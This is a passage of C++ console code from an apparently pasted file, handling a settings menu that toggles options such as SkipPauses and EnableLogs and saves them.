- cout << "SkipPauses is now true" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- }
- if (input == "logs")
- {
- if (EnableLogs == "true")
- {
- EnableLogs = "false";
- cout << "EnableLogs is now false" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- else
- {
- EnableLogs = "true";
- cout << "EnableLogs is now true" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- if (input == "save")
- {
- SaveSettings();
- cout << "Settings saved" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- cout << "Unknown command!" << endl;
- system("PAUSE");
- system("cls");
- main();
- return 0;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement